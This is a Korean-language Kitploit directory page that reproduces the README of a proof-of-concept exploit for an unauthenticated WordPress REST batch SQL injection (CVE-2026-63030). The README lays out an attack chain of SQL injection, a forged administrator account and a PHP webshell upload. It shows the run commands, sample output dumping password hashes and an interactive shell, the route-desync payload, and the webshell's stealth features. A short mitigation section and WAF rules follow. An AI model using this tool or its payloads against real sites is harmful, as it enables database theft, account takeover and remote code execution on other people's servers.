Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-63030 — CVE-2026-63030 - WordPress REST 배치 라우트 혼동 SQL 인젝션 개념 증명 | Kitploit
도구/GitHubGitHub/ch4120n/cve-2026-63030
Vulnerability ScannersExploitationWeb SecurityPenetration TestingLearning & Education
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - WordPress REST 배치 라우트 혼동 SQL 인젝션 개념 증명

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-63030

WordPress REST 일괄 처리 라우트 혼동 SQL 인젝션 (CVE-2026-63030) 개념 증명
연구, 익스플로잇 개발 및 문서화: Ch4120N

CVE Python License Status


⚠️ 법적 고지

이 저장소와 함께 제공되는 도구(exploit.py)는 엄격히 교육 목적, 승인된 침투 테스트 및 보안 연구를 위해 제작되었습니다.
명시적이고 사전 서면 동의 없이 이 익스플로잇을 대상에 사용하는 것은 불법이며, 전 세계적으로 컴퓨터 사기 및 남용 관련 법률을 위반합니다. 작성자(Ch4120N)는 이 코드의 사용으로 인해 발생하는 모든 오용, 피해 또는 법적 결과에 대해 전혀 책임지지 않습니다. 항상 법의 테두리 안에서 행동하고 적절한 승인을 받으십시오.


📖 취약점 개요: CVE-2026-63030

CVE-2026-63030는 WordPress REST API에 영향을 미치는 중요도가 높은 인증 없는 취약점입니다. 중첩 배치 처리 엔드포인트(/wp-json/batch/v1 또는 /?rest_route=/batch/v1) 내의 라우트 혼동 버그를 악용합니다.

근본 원인

WordPress가 REST API 요청 배치를 처리할 때, 각 하위 요청은 실행 전에 해당 스키마에 대해 검증됩니다. 그러나 내부 라우팅 포인터가 의도적으로 잘못 구성된 경로(예: ///)를 처리하는 방식의 결함으로 인해 검증 스키마가 실제 실행 핸들러와 동기화되지 않게 됩니다.

공격 체인

  1. 라우트 혼동 및 SQLi: 공격자는 중첩 배치 페이로드를 주입합니다. 동기화 해제로 인해 /wp/v2/users 엔드포인트(author_exclude를 허용하지 않음)를 대상으로 하는 요청이 /wp/v2/posts 핸들러에 의해 실행됩니다. 삭제되지 않은 author_exclude 매개변수가 WP_Query의 author__not_in 절에 직접 전달되어 인증 없는 SQL 인젝션이 발생합니다.
  2. 사전 인증 관리자 생성: SQLi를 사용하여 데이터베이스를 읽고 oembed_cache 게시물 ID를 식별합니다. 그런 다음 익스플로잇은 Customizer changeset 페이로드를 사용하여 내비게이션 메뉴 캐시를 오염시키고, WordPress가 기존 관리자 컨텍스트에서 사용자 생성 요청을 실행하도록 속입니다.
  3. 원격 코드 실행(RCE): 새로 위조된 관리자 계정으로 도구는 인증하고, 무작위화되고 토큰으로 보호되는 PHP 웹셸 플러그인을 업로드하며, OS 명령을 실행하고 모든 흔적을 안전하게 정리합니다.

영향을 받는 버전

  • WordPress 6.9.0 ~ 6.9.4
  • WordPress 7.0.0 ~ 7.0.1 (참고: 특정 플러그인 구성 및 REST API 백포트에 따라 이전 버전도 취약할 수 있습니다.)

🚀 주요 기능

  • 제로 의존성: 100% Python 3 표준 라이브러리. pip install 불필요.
  • 단일 파일 모듈 구조: 모든 구성 요소(클라이언트, SQLi, 익스플로잇, 셸, CLI)가 하나의 휴대용 스크립트(exploit.py)에 깔끔하게 구성되어 있습니다.
  • 다중 기술 SQL 추출: 사용 가능한 가장 빠른 방법으로 자동 폴백합니다:
    1. UNION 기반: 가짜 WP_Post 행을 위조하여 인밴드 추출(값당 1회 요청).
    2. 오류 기반: WP_DEBUG_DISPLAY가 활성화된 경우 EXTRACTVALUE() XPATH 오류를 활용.
    3. 블라인드 부울/시간 기반: 구성 가능한 지연 시간으로 이진 검색 문자 추출.
  • 자동 사전 인증 브리지: 기존 자격 증명이 필요 없으며, 도구가 즉시 자체 관리자 계정을 생성합니다.
  • 임시 웹셸: 고유한 플러그인 슬러그와 암호학적으로 안전한 토큰을 생성합니다. 셸은 토큰 없이는 실행을 거부하며 사용 후 자체 파괴됩니다.
  • 자동 정리: 종료 시 위조된 관리자 계정을 자동으로 삭제하고 웹셸 플러그인 디렉토리를 제거합니다.
  • 대화형 REPL: 원격 작업 디렉토리 상태를 유지하는 의사 터미널(cd 지원)을 제공합니다.

📦 설치 및 요구 사항

타사 패키지는 필요하지 않습니다. Python 3.8 이상이 설치되어 있는지 확인하십시오.

root@kitploit:~
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py

💻 상세 사용법 및 옵션

이 익스플로잇은 check, read, shell의 세 가지 주요 하위 명령어로 나뉩니다.

공통 옵션

이 옵션은 모든 하위 명령어에 적용됩니다:

1. check - 취약점 탐지

데이터를 추출하지 않고 라우트 혼동 마커의 존재를 확인하고 SQLi 타이밍을 테스트하여 대상을 안전하게 프로빙합니다.

2. read - 데이터베이스 추출

SQL 인젝션을 통해 데이터베이스에서 직접 데이터를 추출합니다.

3. shell - 원격 코드 실행

웹셸을 배포하고 명령을 실행합니다. 자격 증명이 제공되지 않으면 사전 인증 관리자 생성 브리지를 자동으로 트리거합니다.


🖥️ 실행 증거 및 예시

다음은 도구가 실제로 작동하는 실제 사례입니다.

예제 1: 취약점 확인

root@kitploit:~
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

예제 2: 데이터베이스 지문 추출

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

예제 3: 사용자 자격 증명 덤프

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

예제 4: 대화형 셸 확보 (사전 인증)

도구가 관리자 계정을 자동으로 생성하고 셸을 배포한 다음 종료 후 정리하는 방법을 확인하십시오.

root@kitploit:~
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 기술 심층 분석

디싱크 프라이머

익스플로잇의 핵심은 _DESYNC_PRIMER = {"method": "POST", "path": "///"}를 주입하는 데 있습니다. 이 잘못된 URL은 WordPress의 내부 라우팅이 첫 번째 하위 요청에 대해 WP_Error를 생성하도록 강제합니다. 이로 인해 내부 포인터가 이동하여 두 번째 하위 요청이 하나의 스키마로 검증되지만 세 번째 하위 요청의 핸들러에 의해 실행됩니다. 이를 통해 author_exclude 매개변수가 WP_Query에 은밀히 전달됩니다.

UNION 가짜 게시물 프리미티브

느린 블라인드 SQLi 대신 도구는 UNION SELECT를 사용하여 완전히 구성된 가짜 wp_posts 행을 주입합니다. orderby=none 및 per_page=500을 설정하여 WP_Query가 쿼리를 분할하지 못하게 합니다. 주입된 post_title에는 대상 SQL 식의 16진수 인코딩 결과가 || 구분 기호로 감싸져 포함되며, 이는 REST API JSON 응답에 직접 반영됩니다.

웹셸 작전 보안

배포된 PHP 플러그인은 높은 은밀성을 위해 설계되었습니다:

  • 무작위 디렉토리 및 파일 이름 (예: wp_a1b2c3d4.php).
  • GET 매개변수를 통해 32자리 16진수 토큰(t)과 명령(c)을 요구합니다.
  • hash_equals()를 사용하여 토큰에 대한 타이밍 공격을 방지합니다.
  • 경로 노출을 방지하기 위해 자동으로 디렉토리를 변경(chdir)합니다.
  • Python 클라이언트가 깔끔하게 파싱할 수 있도록 출력이 EXPLOIT::...::END 마커로 감싸집니다.

🛡️ 완화 및 해결 방법

  1. WordPress 업데이트: CVE-2026-63030용 패치가 포함된 WordPress 7.0.2 이상으로 즉시 업그레이드하십시오.
  2. 배치 엔드포인트 비활성화: 배치 엔드포인트가 명시적으로 필요하지 않은 경우, 머스트 유즈 플러그인(mu-plugins)을 통해 비활성화하십시오:
    root@kitploit:~
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. 웹 애플리케이션 방화벽(WAF): 다음을 차단하는 규칙을 구현하십시오:
    • URI에 author_exclude가 포함된 중첩 /batch/v1 요청.
    • URL 매개변수에 UNION, SLEEP() 또는 EXTRACTVALUE가 포함된 요청.
    • REST API 요청에서 ///와 같은 잘못된 경로.
  4. WP_DEBUG_DISPLAY 비활성화: 오류 기반 SQLi 정보 유출을 방지하려면 wp-config.php에서 WP_DEBUG_DISPLAY를 로 설정하십시오.

📜 크레딧 및 감사의 말

  • 취약점 연구 및 익스플로잇 개발: Ch4120N
  • 개념 영감: WordPress REST API 라우트 혼동, oEmbed 캐시 오염 및 Customizer 변경 세트 프리미티브.

"큰 힘에는 큰 책임이 따릅니다. 이 지식을 파괴가 아닌 방어를 위해 사용하십시오."
— Ch4120N

도구 다운로드
Option설명기본값
url대상 기본 URL (예: http://target.com)필수
--rest-route(고정 링크가 비활성화된 사이트의 경우) /wp-json/batch/v1 대신 /?rest_route=/batch/v1 사용.False
--timeoutHTTP 요청 시간 제한(초).30.0
--proxyHTTP/HTTPS 프록시 (예: http://127.0.0.1:8080).None
Option설명기본값
--sleep--confirm-sqli 폴백에 사용되는 SQL 타이밍 지연(초).3.0
--samples테스트할 기준/지연 SQL 타이밍 쌍의 수.3
--confirm-sqli활성 SQLi 확인 페이로드 전송(약간의 지연 추가).False
Option설명기본값
--preset빠른 추출 사전 설정: fingerprint(버전/사용자/DB) 또는 users(로그인/해시).fingerprint
--query사용자 지정 스칼라 SQL 식 실행 (예: "SELECT @@version").None
--prefix데이터베이스 테이블 접두사.wp_
--max-length값당 추출할 최대 문자 수.128
--technique추출 기술: auto, union, error 또는 blind.auto
Option설명기본값
--user관리자 사용자 이름. (생략하면 사전 인증 브리지 사용).None
--password관리자 비밀번호. (생략하면 사전 인증 브리지 사용).None
--cmd대상에서 실행할 단일 명령.None
-i, --interactive배포 후 대화형 셸(REPL)을 엽니다.False
false